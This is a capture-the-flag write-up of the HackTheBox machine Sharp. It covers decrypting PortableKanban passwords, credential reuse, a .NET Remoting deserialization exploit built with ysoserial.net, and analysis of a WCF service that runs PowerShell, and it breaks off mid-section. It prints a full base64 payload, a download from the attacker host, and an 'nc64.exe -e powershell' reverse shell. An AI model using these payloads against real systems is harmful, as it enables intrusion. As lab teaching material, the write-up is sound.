HTB: Sharp
Sharp was all about C# and .NET. It started with a PortableKanban config. At the time of release, there was no public scripts decrypting the database, so it involved reverse engineering a real .NET binary. From there, I’ll reverse and exploit a .NET remoting service with a serialized payload to get shell as user. To escalate to system, I’ll reverse a Windows Communication Foundation (WCF)-based service to find an endpoint that runs PowerShell code. I’ll create a client to return a reverse shell. I’m also going to solve this one from a Windows VM (mostly).
Box Info
Name | Sharp Play on HackTheBox |
---|---|
Release Date | 05 Dec 2020 |
Retire Date | 01 May 2021 |
OS | Windows |
Base Points | Hard [40] |
Rated Difficulty | |
Radar Graph | |
01:10:08 |
|
01:45:42 |
|
Creator |
Recon
nmap
nmap
found six open TCP ports, RPC (135), NetBios (139), SMB (445), WinRM (5985), and two unknown services (8888 and 8889):
PS > nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.10.219
Starting Nmap 7.70 ( https://nmap.org ) at 2021-04-19 15:23 Eastern Daylight Time
Nmap scan report for 10.10.10.219
Host is up (0.019s latency).
Not shown: 65529 filtered ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5985/tcp open wsman
8888/tcp open sun-answerbook
8889/tcp open ddi-tcp-2
Nmap done: 1 IP address (1 host up) scanned in 13.87 seconds
PS > nmap -p 135,139,445,5985,8888,8889 -sCV -oA scans/nmap-tcpscripts 10.10.10.219
Starting Nmap 7.70 ( https://nmap.org ) at 2021-04-19 15:23 Eastern Daylight Time
Nmap scan report for 10.10.10.219
Host is up (0.016s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8888/tcp open msexchange-logcopier Microsoft Exchange 2010 log copier
8889/tcp open mc-nmf .NET Message Framing
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -57m11s, deviation: 0s, median: -57m11s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-04-19 14:27:44
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 105.86 seconds
I don’t get much information about the OS, other than that it’s Windows.
8888 and 8889 don’t show much. Connecting to them with nc
to either doesn’t return anything.
SMB - TCP 445
net view
from Windows won’t show anything as far as shares:
PS > net view 10.10.10.219
System error 5 has occurred.
Access is denied.
Interested in any comments as to how to find the share using Windows. I’ll do this part from Parrot.
smbmap
will list the shares, showing one with anonymous read access:
oxdf@parrot$ smbmap -H 10.10.10.219
[+] IP: 10.10.10.219:445 Name: LicorDeBellota.htb
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
dev NO ACCESS
IPC$ NO ACCESS Remote IPC
kanban READ ONLY
smbclient
will show the share as well:
oxdf@parrot$ smbclient -N -L //10.10.10.219
Anonymous login successful
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
dev Disk
IPC$ IPC Remote IPC
kanban Disk
SMB1 disabled -- no workgroup available
There’s a handful of files:
oxdf@parrot$ smbclient -N //10.10.10.219/kanban
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Nov 14 13:56:03 2020
.. D 0 Sat Nov 14 13:56:03 2020
CommandLine.dll A 58368 Wed Feb 27 03:06:14 2013
CsvHelper.dll A 141312 Wed Nov 8 08:52:18 2017
DotNetZip.dll A 456704 Wed Jun 22 16:31:52 2016
Files D 0 Sat Nov 14 13:57:59 2020
Itenso.Rtf.Converter.Html.dll A 23040 Thu Nov 23 11:29:32 2017
Itenso.Rtf.Interpreter.dll A 75776 Thu Nov 23 11:29:32 2017
Itenso.Rtf.Parser.dll A 32768 Thu Nov 23 11:29:32 2017
Itenso.Sys.dll A 19968 Thu Nov 23 11:29:32 2017
MsgReader.dll A 376832 Thu Nov 23 11:29:32 2017
Ookii.Dialogs.dll A 133296 Thu Jul 3 17:20:12 2014
pkb.zip A 2558011 Thu Nov 12 15:04:59 2020
Plugins D 0 Thu Nov 12 15:05:11 2020
PortableKanban.cfg A 5819 Sat Nov 14 13:56:01 2020
PortableKanban.Data.dll A 118184 Thu Jan 4 16:12:46 2018
PortableKanban.exe A 1878440 Thu Jan 4 16:12:44 2018
PortableKanban.Extensions.dll A 31144 Thu Jan 4 16:12:50 2018
PortableKanban.pk3 A 2080 Sat Nov 14 13:56:01 2020
PortableKanban.pk3.bak A 2080 Sat Nov 14 13:55:54 2020
PortableKanban.pk3.md5 A 34 Sat Nov 14 13:56:03 2020
ServiceStack.Common.dll A 413184 Wed Sep 6 07:18:22 2017
ServiceStack.Interfaces.dll A 137216 Wed Sep 6 07:17:30 2017
ServiceStack.Redis.dll A 292352 Wed Sep 6 07:02:24 2017
ServiceStack.Text.dll A 411648 Tue Sep 5 23:38:18 2017
User Guide.pdf A 1050092 Thu Jan 4 16:14:28 2018
10357247 blocks of size 4096. 7414020 blocks available
Some Googling reveals these are all related to PortableKanban, software for tracking tasks.
Portable Kanban
Script
Googling for PortableKanban exploit finds this exploitdb post. It’s a Python script that looks at a PortableKanban.pk3
file and prints the plaintext passwords from it.
Grabbing the file from the SMB share, and running the script gives two passwords:
oxdf@parrot$ python pk-decrypt.py PortableKanban.pk3
Administrator:G2@$btRSHJYTarg
lars:G123HHrth234gRG
RE
That script was posted on 11 Jan 2021, about a month after this box released, which means it wasn’t there at release. The intended path is to look at PortableKanban and figure out how the configuration decrypts the password.
The PortableKanban.pk3
file is JSON, and contains information about the users in this instance of PK. To look at it, I’ll use cat PortableKanban.pk3 | jq . | less
. The Users
section show two users, Administrator and lars:
"Users": [
{
"Id": "e8e29158d70d44b1a1ba4949d52790a0",
"Name": "Administrator",
"Initials": "",
"Email": "",
"EncryptedPassword": "",
"Role": "Admin",
"Inactive": false,
"TimeStamp": 637409769245503700
},
{
"Id": "0628ae1de5234b81ae65c246dd2b4a21",
"Name": "lars",
"Initials": "",
"Email": "",
"EncryptedPassword": "Ua3LyPFM175GN8D3+tqwLA==",
"Role": "User",
"Inactive": false,
"TimeStamp": 637409769265925600
}
],
The passwords are encrypted, as expected.
I’ll copy the entire folder of binaries over to a Windows VM and open DNSpy. I’ll select PortableKanban.exe
, and then open the search window (Edit –> Search Assemblies or Ctrl+Shift+K). I searched for “password”, making sure to select “All of the Above” for the what and “Files in the Same Folder” for where:
There were a fair number of results, but I was immediately interested in DbEncPassword
, DbEncPassword2
, DbPassword
, and DbPassword2
, all from the RoamingSettings
class. Clicking on DbEncPassword
leads to the code that defines it. DbEncPassword
is just a string, but DbPassword
is more interesting. The get
function returns Crypto.Decrypt
on DbEncPassword
, and the set takes a value, passes it to Crypto.Encrypt
, and then stores the result in DbEncPassword
:
[Browsable(false)]
public string DbEncPassword { get; set; }
// Token: 0x1700009D RID: 157
// (get) Token: 0x060002E3 RID: 739 RVA: 0x00029549 File Offset: 0x00027749
// (set) Token: 0x060002E4 RID: 740 RVA: 0x00029556 File Offset: 0x00027756
[Category("\t\t\t\t\t\t\t\t\t\t\tData")]
[DisplayName("Primary server password")]
[Description("Master password required to get access to primary server databases. This password is common for all the users.")]
[PasswordPropertyText(true)]
[IgnoreDataMember]
[Browsable(true)]
public string DbPassword
{
get
{
return Crypto.Decrypt(this.DbEncPassword);
}
set
{
this.DbEncPassword = Crypto.Encrypt(value.Trim());
}
}
Crypto.Decrypt
is defined as:
// Token: 0x06000002 RID: 2 RVA: 0x000020E0 File Offset: 0x000002E0
public static string Decrypt(string cryptedString)
{
string result;
try
{
if (string.IsNullOrEmpty(cryptedString))
{
result = string.Empty;
}
else
{
DESCryptoServiceProvider descryptoServiceProvider = new DESCryptoServiceProvider();
result = new StreamReader(new CryptoStream(new MemoryStream(Convert.FromBase64String(cryptedString)), descryptoServiceProvider.CreateDecryptor(Crypto._rgbKey, Crypto._rgbIV), CryptoStreamMode.Read)).ReadToEnd();
}
}
catch (Exception)
{
result = string.Empty;
}
return result;
}
// Token: 0x04000001 RID: 1
private static byte[] _rgbKey = Encoding.ASCII.GetBytes("7ly6UznJ");
// Token: 0x04000002 RID: 2
private static byte[] _rgbIV = Encoding.ASCII.GetBytes("XuVUm5fR");
It’s doing a DES decryption using Crypto._rgbKey
and Crypto_rgb.IV
as the key and IV, which are defined just after this function. With the key and the IV, I can write a Python script that would look very similar to the one above now on exploitdb that will decrypt the value in the config.
Alternative Auth Bypass
IppSec pointed out a near alternative way to get the user passwords from PortableKanban. On the SMB share is a file, pkb.zip
, which is a clean instance of the software. I’ll unzip that into a directory. I’ll copy into that directory PortableKanban.pk3
. Now I’ll edit it by copying the Administrator JSON and adding a third user, replacing the name Administrator with 0xdf, changing the ID to something different, and setting the encrypted password to “”.
Now I’ll double-click PortableKanban.exe
, and it offers the startup question of where I want to store data, in a file or in Redis:
I’ll hit ok with Local file selected. I’m able to log in with 0xdf and an empty password. Clicking on the gear icon and then going to the users tab, if I unckeck “Hide passwords”, I get the Administrator and lars passwords:
SMB as lars
Test Creds
Unsurprisingly, the administrator creds do not work for Sharp, but the lars ones do:
oxdf@parrot$ crackmapexec smb 10.10.10.219 -u administrator -p 'G2@$btRSHJYTarg'
SMB 10.10.10.219 445 SHARP Windows 10.0 Build 17763 x64 (name:SHARP) (domain:Sharp) (signing:False) (SMBv1:False)
SMB 10.10.10.219 445 SHARP [-] Sharp\administrator:G2@$btRSHJYTarg STATUS_LOGON_FAILURE
oxdf@parrot$ crackmapexec smb 10.10.10.219 -u lars -p 'G123HHrth234gRG'
SMB 10.10.10.219 445 SHARP Windows 10.0 Build 17763 x64 (name:SHARP) (domain:Sharp) (signing:False) (SMBv1:False)
SMB 10.10.10.219 445 SHARP [+] Sharp\lars:G123HHrth234gRG
lars cannot WinRM:
oxdf@parrot$ crackmapexec winrm 10.10.10.219 -u lars -p G123HHrth234gRG
WINRM 10.10.10.219 5985 SHARP Windows 10.0 Build 17763 (name:SHARP) (domain:Sharp)
WINRM 10.10.10.219 5985 SHARP http://10.10.10.219:5985/wsman
WINRM 10.10.10.219 5985 SHARP [-] Sharp\lars:G123HHrth234gRG
smbclient
will connect as lars:
oxdf@parrot$ smbclient //10.10.10.219/dev -U 'lars%G123HHrth234gRG'
Try "help" to get a list of possible commands.
smb: \>
I can also do this from Windows:
PS > net use \\10.10.10.219\dev /u:lars "G123HHrth234gRG"
The command completed successfully.
Files
There are four files on this share:
PS > cd \\10.10.10.219\dev
PS > ls
Directory: \\10.10.10.219\dev
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/15/2020 5:25 AM 5632 Client.exe
-a---- 11/15/2020 8:59 AM 70 notes.txt
-a---- 11/15/2020 5:25 AM 4096 RemotingLibrary.dll
-a---- 11/16/2020 6:55 AM 6144 Server.exe
I’ll download all four file - the three binaries are all .NET executables:
oxdf@parrot$ file Client.exe Server.exe RemotingLibrary.dll
Client.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Server.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
RemotingLibrary.dll: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
The notes.txt
has some hints
oxdf@parrot$ cat notes.txt
Todo:
Migrate from .Net remoting to WCF
Add input validation
Shell as lars
RE
Server
I’ll open Server.exe
in DNSpy and notice right away it’s much more simple than the previous binary:
The module is RemotingSample
, which likely means it was built on top of a sample from somewhere. Main
creates a thread and runs StartServer
, which is a service listening on TCP 8888:
// RemotingSample.Server
// Token: 0x06000003 RID: 3 RVA: 0x000020A4 File Offset: 0x000002A4
private static void StartServer()
{
Hashtable hashtable = new Hashtable();
((IDictionary)hashtable)["port"] = 8888;
((IDictionary)hashtable)["rejectRemoteRequests"] = false;
BinaryServerFormatterSinkProvider binaryServerFormatterSinkProvider = new BinaryServerFormatterSinkProvider();
binaryServerFormatterSinkProvider.TypeFilterLevel = TypeFilterLevel.Full;
ChannelServices.RegisterChannel(new TcpChannel(hashtable, new BinaryClientFormatterSinkProvider(), binaryServerFormatterSinkProvider), true);
RemotingConfiguration.CustomErrorsMode = CustomErrorsModes.Off;
RemotingConfiguration.RegisterWellKnownServiceType(typeof(Remoting), "SecretSharpDebugApplicationEndpoint", WellKnownObjectMode.Singleton);
Console.WriteLine("Registered service");
for (;;)
{
Console.ReadLine();
}
}
It’s important to note that the TypeFilterLevel
is set to Full
. Also, I’ll need the name of the service, SecretSharpDebugApplicationEndpoint
.
Client
The client is even simpler:
Main
shows a connection to the same endpoint, with credentials:
private static void Main(string[] args)
{
ChannelServices.RegisterChannel(new TcpChannel(), true);
IDictionary channelSinkProperties = ChannelServices.GetChannelSinkProperties((Remoting)Activator.GetObject(typeof(Remoting), "tcp://localhost:8888/SecretSharpDebugApplicationEndpoint"));
channelSinkProperties["username"] = "debug";
channelSinkProperties["password"] = "SharpApplicationDebugUserPassword123!";
}
Strategy
.NET remoting is an older, insecure API/protocol, which is now superseded by Windows Communication Foundation (WCF). Searching for “.NET remoting exploit” will return a bunch of good resources. Intro to .NET Remoting for Hackers is a really nice walkthrough of how to exploit the system in General. Finding and Exploiting .NET Remoting over HTTP using Deserialisation (by NCC Group) goes into detail on a specific attack, which will work in this case. The ExploitingRemoteService GitHub repo from James Forshaw provides a tool to facilitate that deserialization attack.
To exploit this, I’ll generate a serialized payload to execute commands, and then feed it into ExploitingRemoteService.exe
.
This took so much trial and error, and some asking friends to help to get working. I won’t be able to show that, but did want to make clear that this part was hard and required persistence.
Exploit POC
Build ExploitingRemoteService
I’ll download the repo from Git to my Windows VM, and then double click on the .sln
file to open it in Visual Studio. I’ll set the config to Release and leave it on Any CPU, and Build –> Build Solution. At the Output window, I can see it Builds:
I’ll need the six files from the ExploitRemotingService
path:
C:\ExploitRemotingService-master\ExploitRemotingService\bin\Release>ls
ExploitRemotingService.exe FakeAsm.dll
ExploitRemotingService.exe.config FakeAsm.pdb
ExploitRemotingService.pdb NDesk.Options.dll
I’ll move them to a move convenient folder, but I could also run from there. As long as all the files are together.
I can try to use this binary with the exec
mode first. I’ll get a cmd
window with creds for lars:
C:\>runas /u:sharp\lars /netonly cmd
Enter the password for lars:
Attempting to start cmd as user "sharp\lars" ...
In the new window, at the top left it shows that it’s running as lars:
To show that lar’s creds are cached here, I can run net user
on the dev share without re-entering the creds:
C:\>net use \\10.10.10.219\dev
The command completed successfully.
That wouldn’t work in another window.
It says on the GitHub page to try the ver
command:
PS > .\ExploitRemotingService.exe -s tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint ver
Error, couldn't detect version, using host: 4.0.30319.42000
Detected version 4 server
System.Runtime.Remoting.RemotingException: Error deserializing message. ---> System.NotSupportedException: http://go.microsoft.com/fwlink/?LinkId=390633
--- End of inner exception stack trace ---
at ExploitRemotingService.CustomChannel.MakeCall(String path, MethodBase mi, Object[] cmdargs) in C:\Users\0xdf\Desktop\ExploitRemotingService-master\ExploitRemotingService\CustomChannel.cs:line 252
at ExploitRemotingService.Program.CreateRemoteClassExploit(CustomChannel channel) in C:\Users\0xdf\Desktop\ExploitRemotingService-master\ExploitRemotingService\Program.cs:line 362
at ExploitRemotingService.Program.Main(String[] args) in C:\Users\0xdf\Desktop\ExploitRemotingService-master\ExploitRemotingService\Program.cs:line 620
It crashes with an error in deserializing. I’ll try to run with the exec
command, but it doesn’t work:
C:\Users\0xdf\ExploitingRemotingService>ExploitRemotingService.exe -s tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint exec cmd.exe '/c ping.exe 10.10.14.14'
Error, couldn't detect version, using host: 4.0.30319.42000
Detected version 4 server
System.Runtime.Remoting.RemotingException: Error deserializing message. ---> System.NotSupportedException: http://go.microsoft.com/fwlink/?LinkId=390633
--- End of inner exception stack trace ---
at ExploitRemotingService.CustomChannel.MakeCall(String path, MethodBase mi, Object[] cmdargs) in C:\Users\0xdf\Desktop\ExploitRemotingService-master\ExploitRemotingService\CustomChannel.cs:line 252
at ExploitRemotingService.Program.CreateRemoteClassExploit(CustomChannel channel) in C:\Users\0xdf\Desktop\ExploitRemotingService-master\ExploitRemotingService\Program.cs:line 362
at ExploitRemotingService.Program.Main(String[] args) in C:\Users\0xdf\Desktop\ExploitRemotingService-master\ExploitRemotingService\Program.cs:line 620
It’s failing to deserialize the message. I should try a serialized payload.
Generate Payload
I’ll use YSoSerial.net to generate a serialized .NET attack payload. I used this a long time ago in HTB Json.
I’ll generate a payload that will ping
my machine. The NCC Group blog mentioned the TypeConfuseDelegate
gadgets, but others may work as well:
PS > $ping = ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c 'ping 10.10.14.14'
I want the BinaryFormatter to work with the executable above. And the base64 output will be passed in.
As requested, the payload is base64-encoded:
PS > $ping
AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAABMvYyBwaW5nIDEwLjEwLjE0LjE0BgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=
Exploit
Putting this all together, I’ll start Wireshark and run it:
PS > .\ExploitRemotingService.exe --user=debug --pass=SharpApplicationDebugUserPassword123! -s tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint raw $ping
System.InvalidCastException: Unable to cast object of type 'System.Collections.Generic.SortedSet`1[System.String]' to type 'System.Runtime.Remoting.Messaging.IMessage'.
at System.Runtime.Remoting.Channels.CoreChannel.DeserializeBinaryRequestMessage(String objectUri, Stream inputStream, Boolean bStrictBinding, TypeFilterLevel securityLevel)
at System.Runtime.Remoting.Channels.BinaryServerFormatterSink.ProcessMessage(IServerChannelSinkStack sinkStack, IMessage requestMsg, ITransportHeaders requestHeaders, Stream requestStream, IMessage& responseMsg, ITransportHeaders& responseHeaders, Stream& responseStream)
It returns an error message, but that’s typically for deserialization attacks. More importantly, in Wireshark:
Shell
I’ll start a Python3 webserver in a directory with nc64.exe
:
PS > ls
Directory: C:\tools\nc
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/16/2011 9:52 PM 38616 nc.exe
-a---- 9/16/2011 9:52 PM 45272 nc64.exe
PS C:\tools\nc > python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
I’ll generate a payload to upload nc
:
PS > $get = ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "powershell -c iwr http://10.10.14.14/nc64.exe -outfile C:\programdata\nc64.exe -usebasicparsing" -o base64
Now running the exploit results in an error:
PS > .\ExploitRemotingService.exe --user=debug --pass=SharpApplicationDebugUserPassword123! -s tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint raw $get
System.InvalidCastException: Unable to cast object of type 'System.Collections.Generic.SortedSet`1[System.String]' to type 'System.Runtime.Remoting.Messaging.IMessage'.
at System.Runtime.Remoting.Channels.CoreChannel.DeserializeBinaryRequestMessage(String objectUri, Stream inputStream, Boolean bStrictBinding, TypeFilterLevel securityLevel)
at System.Runtime.Remoting.Channels.BinaryServerFormatterSink.ProcessMessage(IServerChannelSinkStack sinkStack, IMessage requestMsg, ITransportHeaders requestHeaders, Stream requestStream, IMessage& responseMsg, ITransportHeaders& responseHeaders, Stream& responseStream)
But also a GET request to the server:
::ffff:10.10.10.219 - - [20/Apr/2021 17:34:32] "GET /nc64.exe HTTP/1.1" 200 -
Now one more payload to execute it, and run it:
PS > $shell = ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "C:\programdata\nc64.exe -e powershell 10.10.14.14 443" -o base64
PS > .\ExploitRemotingService.exe --user=debug --pass=SharpApplicationDebugUserPassword123! -s tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint raw $shell
System.InvalidCastException: Unable to cast object of type 'System.Collections.Generic.SortedSet`1[System.String]' to type 'System.Runtime.Remoting.Messaging.IMessage'.
at System.Runtime.Remoting.Channels.CoreChannel.DeserializeBinaryRequestMessage(String objectUri, Stream inputStream, Boolean bStrictBinding, TypeFilterLevel securityLevel)
at System.Runtime.Remoting.Channels.BinaryServerFormatterSink.ProcessMessage(IServerChannelSinkStack sinkStack, IMessage requestMsg, ITransportHeaders requestHeaders, Stream requestStream, IMessage& responseMsg, ITransportHeaders& responseHeaders, Stream& responseStream)
At a listening nc.exe
, there’s a shell:
PS > .\nc64.exe -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.10.219] 49690
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami
sharp\lars
And I can claim user.txt
:
PS C:\Users\lars\desktop> type user.txt
198547b7************************
Shell as System
Enumeration
In lars’ Documents
folder there’s a directory called wcf
, which contains a Visual Studio project:
PS C:\Users\lars\Documents\wcf> ls
Directory: C:\Users\lars\Documents\wcf
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/15/2020 1:40 PM .vs
d----- 11/15/2020 1:40 PM Client
d----- 11/15/2020 1:40 PM packages
d----- 11/15/2020 1:40 PM RemotingLibrary
d----- 11/15/2020 1:41 PM Server
-a---- 11/15/2020 12:47 PM 2095 wcf.sln
I’ll add all of this to a zip for ease of moving around, and then copy it to the dev
share:
PS C:\Users\lars\Documents> Compress-Archive -Path wcf -DestinationPath wcf.zip
PS C:\Users\lars\Documents> move wcf.zip C:\dev\
On my VM, I’ll mount the share (in the Window running as lars) and pull the zip off:
PS > copy \\10.10.10.219\dev\wcf.zip .
PS > Expand-Archive .\wcf.zip
WCF Analysis
Overview
In the last section I exploited a .NET Remoting-based service, and I noted that .NET Remoting was deprecated in favor of WCF. This is an example of that.
Double clicking on wcf.sln
will open the project in Visual Studio, where there are three projects in the Solution Explorer: Client
, RemotingLibrary
, and Server
:
Server
The Server defines a class WcfService
which has four methods:
OnStart
is the most interesting, as it defines a service listening on 8889 with an endpoint NewSecretWcfEndpoint
:
protected override void OnStart(string[] args)
{
if (serviceHost != null)
{
serviceHost.Close();
}
Uri baseAddress = new Uri("net.tcp://0.0.0.0:8889/wcf/NewSecretWcfEndpoint");
serviceHost = new ServiceHost(typeof(Remoting), baseAddress);
NetTcpBinding binding = new NetTcpBinding();
binding.Security.Mode = SecurityMode.Transport;
binding.Security.Transport.ClientCredentialType = TcpClientCredentialType.Windows;
binding.Security.Transport.ProtectionLevel = ProtectionLevel.EncryptAndSign;
binding.Security.Message.ClientCredentialType = MessageCredentialType.Windows;
try
{
serviceHost.AddServiceEndpoint(typeof(IWcfService), binding, baseAddress);
serviceHost.Open();
}
catch (CommunicationException ce)
{
serviceHost.Abort();
}
}
The ClientCredentialType
suggests Windows Authentication, so I’ll need to run in the context of lars. The ServiceHost
is with typeof(Remoting)
. I’ll look at Remoting
in a minute.
Client
The client defines a single Main
function:
This function connects to the endpoint on localhost, and then calls three functions, GetDiskInfo
, GetCpuInfo
, and GetRamInfo
(each of which are defined in RemotingLibrary
):
public static void Main() {
ChannelFactory<IWcfService> channelFactory = new ChannelFactory<IWcfService>(
new NetTcpBinding(SecurityMode.Transport),"net.tcp://localhost:8889/wcf/NewSecretWcfEndpoint"
);
IWcfService client = channelFactory.CreateChannel();
Console.WriteLine(client.GetDiskInfo());
Console.WriteLine(client.GetCpuInfo());
Console.WriteLine(client.GetRamInfo());
}
RemotingLibrary
This project has two classes, but I’m most interested in Remoting
, which is referenced in the server, and defines the three functions seen in the client, as well as two more:
The first four don’t take any input, and just print. But InvokePowerShell
is interesting:
public string InvokePowerShell(string scriptText)
{
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
Pipeline pipeline = runspace.CreatePipeline();
pipeline.Commands.AddScript(scriptText);
pipeline.Commands.Add("Out-String");
Collection <PSObject> results = pipeline.Invoke();
runspace.Close();
StringBuilder stringBuilder = new StringBuilder();
foreach (PSObject obj in results)
{
stringBuilder.AppendLine(obj.ToString());
}
return stringBuilder.ToString();
}
It takes text and runs it as PowerShell.
Run Client
First I want to build the client without any changes. I’ll set it to Release and Any CPU, and do Build –> Clean Solution, and then Build –> Build Solution:
